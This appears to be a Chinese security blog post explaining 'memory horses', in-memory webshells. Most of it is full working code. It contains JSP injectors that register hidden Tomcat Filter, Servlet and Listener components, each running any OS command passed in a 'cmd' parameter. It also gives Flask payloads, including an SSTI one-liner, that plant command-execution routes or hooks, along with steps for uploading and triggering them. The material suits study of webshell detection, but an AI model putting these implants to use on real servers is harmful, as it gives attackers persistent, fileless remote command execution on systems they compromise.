内存马

内存马

java类:

在 Java Web 开发中,Listener(监听器)、Filter(过滤器)和Servlet(服务程序) 是三个核心组件,分别在请求生命周期的不同阶段起作用

Servlet : Java Web 应用中处理 HTTP 请求和响应的核心组件。每个 URL 路由通常由一个 Servlet 处理,负责业务逻辑和返回响应

Filter :请求到达 Servlet 之前、或响应返回客户端之前进行拦截和处理

Listener :监听 Web 应用的生命周期事件

但是,可以控制三者进行恶意行为实现无文件木马

Filter内存马

Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
  // 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter

  final String name = "filter"; // Filter 的名称

  // 1. 获取 ServletContext
  ServletContext servletContext = request.getServletContext();

  // 2. 通过反射获取 ApplicationContext
  // 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
  Field appctx = servletContext.getClass().getDeclaredField("context");
  appctx.setAccessible(true); // 设置字段可访问
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值

  // 3. 通过反射获取 StandardContext
  // 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
  Field stdctx = applicationContext.getClass().getDeclaredField("context");
  stdctx.setAccessible(true); // 设置字段可访问
  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值

  // 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
  // 反射获取 StandardContext 中的 private 字段 "filterConfigs"
  Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  Configs.setAccessible(true); // 设置字段可访问
  Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值

  // 5. 检查是否已存在同名 Filter
  if (filterConfigs.get(name) == null) {
    // 6. 创建恶意的 Filter 实例
    Filter filter = new Filter() {
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {
        // Filter 初始化方法 (此处为空)
      }

      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // Filter 的核心处理方法
        HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
        HttpServletResponse lresponse = (HttpServletResponse) servletResponse;

        // 如果请求参数中包含 "cmd",则执行命令
        if (lrequest.getParameter("cmd") != null) {
          Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
          // 读取命令执行结果
          java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                  new java.io.InputStreamReader(process.getInputStream()));
          StringBuilder stringBuilder = new StringBuilder();
          String line;
          while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line + 'n');
          }
          // 将命令执行结果写入响应
          lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
          lresponse.getOutputStream().flush();
          lresponse.getOutputStream().close();
          return; // 阻止请求继续传递
        }
        filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
      }

      @Override
      public void destroy() {
        // Filter 销毁方法
      }
    };

    // 7. 创建 FilterDef (Filter 定义)
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter); // 设置 Filter 实例
    filterDef.setFilterName(name); // 设置 Filter 名称
    filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
    standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext

    // 8. 创建 FilterMap (Filter 映射)
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
    filterMap.setFilterName(name); // 设置 Filter 名称
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
    standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)

    // 9. 创建 ApplicationFilterConfig (Filter 配置)
    // 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true); // 设置构造方法可访问
    // 通过反射创建 ApplicationFilterConfig 实例
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    // 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
    filterConfigs.put(name, filterConfig);
  }
%>

之后/filter?cmd执行命令

Servlet类型的内存马

Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>

<%
  // 定义恶意Servlet类
  class EvilServlet extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
      String cmd = request.getParameter("cmd");
      if (cmd != null) {
        try {
          Process process = Runtime.getRuntime().exec(cmd);
          BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
          StringBuilder sb = new StringBuilder();
          String line;
          while ((line = br.readLine()) != null) {
            sb.append(line).append("n");
          }
          response.getWriter().write(sb.toString());
        } catch (Exception e) {
          response.getWriter().write(e.toString());
        }
      }
    }

    @Override
    public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
      doGet(request, response);
    }
  }

  // 注入流程
  final String servletName = "evilServlet";
  final String urlPattern = "/evil";

  // 1. 获取 StandardContext
  ServletContext servletContext = request.getServletContext();
  Field appContextField = servletContext.getClass().getDeclaredField("context");
  appContextField.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
  Field standardContextField = applicationContext.getClass().getDeclaredField("context");
  standardContextField.setAccessible(true);
  StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

  // 2. 检查 Servlet 是否已存在,防止重复注入
  if (standardContext.findChild(servletName) == null) {
    // 3. 创建 Wrapper
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName(servletName);
    wrapper.setServletClass(EvilServlet.class.getName());
    wrapper.setServlet(new EvilServlet());
    wrapper.setLoadOnStartup(1);

    // 4. 添加 Servlet 配置
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded(urlPattern, servletName);

    out.println("Servlet 注入成功!");
    out.println("访问路径: " + urlPattern);
    out.println("支持参数: cmd");
  } else {
    out.println("Servlet 已存在!");
  }
%>

上传该jsp文件到webapp目录然后访问jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。

Listener 型内存马原理

基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>

<%
    // 定义恶意Listener
    class EvilListener implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            // 每次请求初始化的时候处理
            System.out.println("start of listen");
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Process process = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(
                            new InputStreamReader(process.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("n");
                    }
                    HttpServletResponse response =
                            (HttpServletResponse) request.getAttribute("javax.servlet.response");
                    response.getWriter().write(sb.toString());
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            // 每次请求结束时的处理
            System.out.println("ends of listen");
        }
    }

    // 注入流程
    // 1. 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    // 2. 创建并添加Listener
    ServletRequestListener evilListener = new EvilListener();
    standardContext.addApplicationEventListener(evilListener);

    out.println("Listener注入成功!");
%>

flask

Debug模式下利用报错:

exec("raise Exception(__import__('os').popen('whoami').read())")

非Debug模式下利用:

import sys
import os
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())

但是在新版本Flask中,通过add_url_rule来创建路由的方法已经不再适用,取而代之的是before_request和after_request

before_request:

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd')).read())')==None else resp)

若没有导入包(用于无回显ssti):

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

errorhandler(自定义错误处理函数实行恶意操作):

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

访问不存在的路径触发即可

pickle反序列化时的利用:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇